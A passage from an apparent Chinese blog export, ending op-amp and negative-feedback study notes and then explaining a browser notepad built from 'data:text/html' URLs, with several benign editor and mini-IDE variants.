title=\"负反馈电路\"\u003e\u003c/a\u003e负反馈电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e负反馈\u003cul\u003e\u003cli\u003e降低放大倍数\u003cul\u003e\u003cli\u003e开环放大倍数:$A=\\frac{X_o}{X_i}$\u003c/li\u003e\u003cli\u003e闭环放大倍数:$A_f=\\frac{A}{1+AF}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e提高放大倍数稳定性\u003c/li\u003e\u003cli\u003e减小非线性失真\u003c/li\u003e\u003cli\u003e展宽放大电路通频带\u003c/li\u003e\u003cli\u003e影响输入、输出电阻\u003cul\u003e\u003cli\u003e串联反馈:输入电阻增大\u003c/li\u003e\u003cli\u003e并联反馈:输入电阻减小\u003c/li\u003e\u003cli\u003e电压型负反馈:输出电阻减小\u003c/li\u003e\u003cli\u003e电流型负反馈:输出电阻增大\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"集成运算放大器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E6%88%90%E8%BF%90%E7%AE%97%E6%94%BE%E5%A4%A7%E5%99%A8\" class=\"headerlink\" title=\"集成运算放大器\"\u003e\u003c/a\u003e集成运算放大器\u003c/h2\u003e\u003cp\u003e一个三端口元器件,输入$U_{i1}(-)$和$U_{i2}(+)$,输出$U_o$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_o=A_{od}(U_{i2}-U_{i1})=A_{od}\\cdot U_i$\u003c/li\u003e\u003cli\u003e$U_o=(1+\\frac{R_F}{R_1})U_1$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"理想化条件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E7%90%86%E6%83%B3%E5%8C%96%E6%9D%A1%E4%BB%B6\" class=\"headerlink\" title=\"理想化条件\"\u003e\u003c/a\u003e理想化条件\u003c/h3\u003e\u003col\u003e\u003cli\u003e开环电压放大倍数趋于无穷:$A_{uo}=\\infty$\u003c/li\u003e\u003cli\u003e输入电阻值趋于无穷:$r_{id}=\\infty$\u003c/li\u003e\u003cli\u003e输出电阻值近似为0:$r_o=0$\u003c/li\u003e\u003cli\u003e共模抑制比趋于无穷\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e虚短:两输入端电压非常接近于0:$u_+=u_-$\u003cbr/\u003e虚断:输入端虽不断却无电流:$i_+=0,i_-=0$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/"},{"title":"一个奇怪的Base64浏览器记事本","time":"2023-06-10T12:31:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003esource: \u003ca href=\"https://www.v2ex.com/t/944717#reply144\"\u003e开源一个无后端也无前端彻底无服务的网页版记事本 - V2EX\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"本体\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E6%9C%AC%E4%BD%93\" class=\"headerlink\" title=\"本体\"\u003e\u003c/a\u003e本体\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGh0bWwgY29udGVudGVkaXRhYmxlPmVkaXQgbWU8L2h0bWw+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e没了。对,没了。直接复制粘贴到浏览器(Chromium系的)地址栏里边打开,然后随便写什么都行。\u003c/p\u003e\u003cp\u003e写完了甚至可以直接\u003ccode\u003eCtrl+S\u003c/code\u003e保存网页,再打开甚至 还 能 编 辑 。\u003c/p\u003e\u003cp\u003e大 受 震 撼 . j p g\u003c/p\u003e\u003ch2 id=\"解析\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%A7%A3%E6%9E%90\" class=\"headerlink\" title=\"解析\"\u003e\u003c/a\u003e解析\u003c/h2\u003e\u003cp\u003e整体而言,这是个利用浏览器解码base64能力实现的编辑器,程序本体就是逗号后边的部分。解码能够得到:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e \u003cspan class=\"attr\"\u003econtenteditable\u003c/span\u003e\u0026gt;\u003c/span\u003eedit me\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以同理还可以玩更多花活(。\u003c/p\u003e\u003cp\u003e首先可以升级一下:\u003c/p\u003e\u003cp\u003e小加强版:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003econtenteditable\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003eline-height:1.5;margin-left:20%;margin-right:20%;font-family:system-ui\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再加强:支持将编辑内容一键复制成 url 分享给其他人 \u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGh0bWw+PGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRvY3VtZW50PC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8YnV0dG9uIGlkPSJidG4iPuWwhue8lui+keWGheWuueWkjeWItuS4ukRhdGFVcmw8L2J1dHRvbj4KICAgIDxkaXYgaWQ9ImVkaXRvci1hcmVhIiBjb250ZW50ZWRpdGFibGU9IiI+PC9kaXY+CiAgCiAgPHN0eWxlPgogICAgI2VkaXRvci1hcmVhIHsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogY2FsYygxMDB2aCAtIDgwcHgpOwogICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICBvdmVyZmxvdzogc2Nyb2xsOwogICAgICBvdXRsaW5lOiAxcHggc29saWQgZ3JheTsKICAgIH0KICA8L3N0eWxlPgogIDxzY3JpcHQ+CiAgICBmdW5jdGlvbiB1dGY4X3RvX2I2NChzdHIpIHsKICAgICAgcmV0dXJuIHdpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzdHIpKSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gYjY0X3RvX3V0Zjgoc3RyKSB7CiAgICAvLyAgIHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoZXNjYXBlKHdpbmRvdy5hdG9iKHN0cikpKTsKICAgIC8vIH0KCiAgICBjb25zdCBidG4gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjYnRuIik7CiAgICBidG4uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgIGNvbnN0IGh0bWxDb250ZW50ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiaHRtbCIpOwogICAgICBjb25zb2xlLmxvZyhodG1sQ29udGVudC5pbm5lckhUTUwpOwogICAgICBjb25zdCBkYXRhVXJsID0gIjxodG1sPiIgKyBodG1sQ29udGVudC5pbm5lckhUTUwgKyAiPC9odG1sPiI7CiAgICAgIGNvbnN0IGJhc2U2NCA9IHV0ZjhfdG9fYjY0KGRhdGFVcmwpOwogICAgICAvLyBjb25zb2xlLmxvZyhiYXNlNjQpOwoKICAgICAgY29uc3QgaW5wdXRWYWx1ZSA9IGBkYXRhOnRleHQvaHRtbDtiYXNlNjQsJHtiYXNlNjR9YAogICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CiAgICAgIGlucHV0LnNldEF0dHJpYnV0ZSgicmVhZG9ubHkiLCAicmVhZG9ubHkiKTsKICAgICAgaW5wdXQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIGlucHV0VmFsdWUpOwogICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlucHV0KTsKICAgICAgaW5wdXQuc2V0U2VsZWN0aW9uUmFuZ2UoMCwgOTk5OSk7CiAgICAgIGlucHV0LnNlbGVjdCgpOwogICAgICBkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpOwogICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGlucHV0KTsKICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5PjwvaHRtbD4=\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再加强:VSCode版(不过这个因为用了外置js得联网):\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;charset=utf-8,\u003cspan class=\"meta\"\u003e\u0026lt;!DOCTYPE \u003cspan class=\"keyword\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003ehttp-equiv\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;Content-Type\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003econtent\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;text/html;charset=utf-8\u0026#34;\u003c/span\u003e /\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;margin: 0; height: 100vh\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;container\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;width: 100%; height: 100%\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e \u003cspan class=\"attr\"\u003etype\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;text/javascript\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003esrc\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;[https://unpkg.com/monaco-editor@latest/min/vs/loader.js](https://unpkg.com/monaco-editor@latest/min/vs/loader.js)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e.\u003cspan class=\"title function_\"\u003econfig\u003c/span\u003e({ \u003cspan class=\"attr\"\u003epaths\u003c/span\u003e: { \u003cspan class=\"attr\"\u003evs\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;[https://unpkg.com/monaco-editor@latest/min/vs](https://unpkg.com/monaco-editor@latest/min/vs)\u0026#34;\u003c/span\u003e } }); \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e([\u003cspan class=\"string\"\u003e\u0026#34;vs/editor/editor.main\u0026#34;\u003c/span\u003e], \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e) { monaco.\u003cspan class=\"property\"\u003eeditor\u003c/span\u003e.\u003cspan class=\"title function_\"\u003ecreate\u003c/span\u003e(\u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;container\u0026#34;\u003c/span\u003e), { \u003cspan class=\"attr\"\u003elanguage\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;json\u0026#34;\u003c/span\u003e, \u003cspan class=\"attr\"\u003etheme\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;vs-dark\u0026#34;\u003c/span\u003e, }); }); \u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活1:升级版前端IDE\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB1%EF%BC%9A%E5%8D%87%E7%BA%A7%E7%89%88%E5%89%8D%E7%AB%AFIDE\" class=\"headerlink\" title=\"花活1:升级版前端IDE\"\u003e\u003c/a\u003e花活1:升级版前端IDE\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003eoninput\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;i.srcdoc=h.value+\u0026#39;\u0026lt;style\u0026gt;\u0026#39;+c.value+\u0026#39;\u0026lt;/style\u0026gt;\u0026lt;script\u0026gt;\u0026#39;+j.value+\u0026#39;\u0026lt;/script\u0026gt;\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-css\"\u003e\u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e,\u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e{\u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e:\u003cspan class=\"number\"\u003e100%\u003c/span\u003e;\u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e:\u003cspan class=\"number\"\u003e50%\u003c/span\u003e}\u003cspan class=\"selector-tag\"\u003ebody\u003c/span\u003e{\u003cspan class=\"attribute\"\u003emargin\u003c/span\u003e:\u003cspan class=\"number\"\u003e0\u003c/span\u003e}\u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e{\u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e:\u003cspan class=\"number\"\u003e33.33%\u003c/span\u003e;\u003cspan class=\"attribute\"\u003efont-size\u003c/span\u003e:\u003cspan class=\"number\"\u003e18\u003c/span\u003e}\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eHTML\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003eh\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eCSS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ec\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eJS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ej\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eiframe\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ei\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e加强版:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003eoninput\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;i.srcdoc=h.value+\u0026#39;\u0026lt;style\u0026gt;\u0026#39;+c.value+\u0026#39;\u0026lt;/style\u0026gt;\u0026lt;script\u0026gt;\u0026#39;+j.value+\u0026#39;\u0026lt;/script\u0026gt;\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-css\"\u003e \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e, \u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"number\"\u003e50%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ergb\u003c/span\u003e(\u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e); } \u003cspan class=\"selector-tag\"\u003ebody\u003c/span\u003e { \u003cspan class=\"attribute\"\u003emargin\u003c/span\u003e: \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ergb\u003c/span\u003e(\u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e); } \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e, \u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e33.3%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eflex\u003c/span\u003e: \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"attribute\"\u003efont-size\u003c/span\u003e: \u003cspan class=\"number\"\u003e18\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eresize\u003c/span\u003e: none; } \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e\u003cspan class=\"selector-pseudo\"\u003e:focus\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: white; } \u003cspan class=\"selector-class\"\u003e.menu\u003c/span\u003e { \u003cspan class=\"attribute\"\u003etext-align\u003c/span\u003e: center; \u003cspan class=\"attribute\"\u003eoverflow\u003c/span\u003e: hidden; \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003epadding\u003c/span\u003e: \u003cspan class=\"number\"\u003e5px\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; } \u003cspan class=\"selector-class\"\u003e.panels\u003c/span\u003e { \u003cspan class=\"attribute\"\u003edisplay\u003c/span\u003e: flex; \u003cspan class=\"attribute\"\u003ejustify-content\u003c/span\u003e: center; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ecalc\u003c/span\u003e(\u003cspan class=\"number\"\u003e100%\u003c/span\u003e - \u003cspan class=\"number\"\u003e40px\u003c/span\u003e); }\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003eswitchDisplay\u003c/span\u003e(\u003cspan class=\"params\"\u003eid\u003c/span\u003e) { \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e dom = \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(id); \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!dom) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e !== \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) { dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; } \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e === \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) { dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; } }\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;menu\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;h\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eHTML\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan 